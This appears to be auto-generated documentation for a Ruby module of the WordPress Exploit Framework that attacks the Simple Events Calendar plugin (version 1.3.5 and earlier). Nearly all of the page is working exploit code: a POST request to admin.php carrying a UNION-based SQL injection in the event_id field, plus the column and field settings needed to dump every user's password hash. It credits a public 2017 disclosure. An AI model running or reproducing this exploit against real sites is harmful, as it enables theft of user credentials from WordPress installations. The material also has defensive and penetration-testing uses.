class Wpxf::Auxiliary::SimpleEventsCalendarHashDump
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::HashDump::new
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 6 def initialize super update_info( name: 'Simple Events Calendar <= 1.3.5 Authenticated Hash Dump', desc: %( Simple Events Calendar <= 1.3.5 contains an SQL injection vulnerability which can be leveraged by all registered users with the permission to manage events. This module utilises this vulnerability to dump the hashed passwords of all users in the database. ), author: [ 'Lenon Leite', # Disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '8955'], ['URL', 'http://lenonleite.com.br/en/blog/2017/11/03/simple-events-calendar-1-3-5-wordpress-plugin-sql-injection/'] ], date: 'Nov 03 2017' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 29 def check check_plugin_version_from_readme('simple-events-calendar', '1.3.6') end
hashdump_number_of_cols()
click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 62 def hashdump_number_of_cols 9 end
hashdump_request_body()
click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 51 def hashdump_request_body { 'edit' => '1', 'event_id' => "-#{Utility::Text.rand_numeric(2)} union #{hashdump_sql_statement} #" } end
hashdump_request_method()
click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 41 def hashdump_request_method :post end
hashdump_request_params()
click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 45 def hashdump_request_params { 'page' => 'simple-events' } end
hashdump_visible_field_index()
click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 58 def hashdump_visible_field_index 3 end
requires_authentication()
click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 33 def requires_authentication true end
reveals_one_row_per_request()
click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 37 def reveals_one_row_per_request true end
vulnerable_url()
click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb, line 66 def vulnerable_url normalize_uri(wordpress_url_admin, 'admin.php') end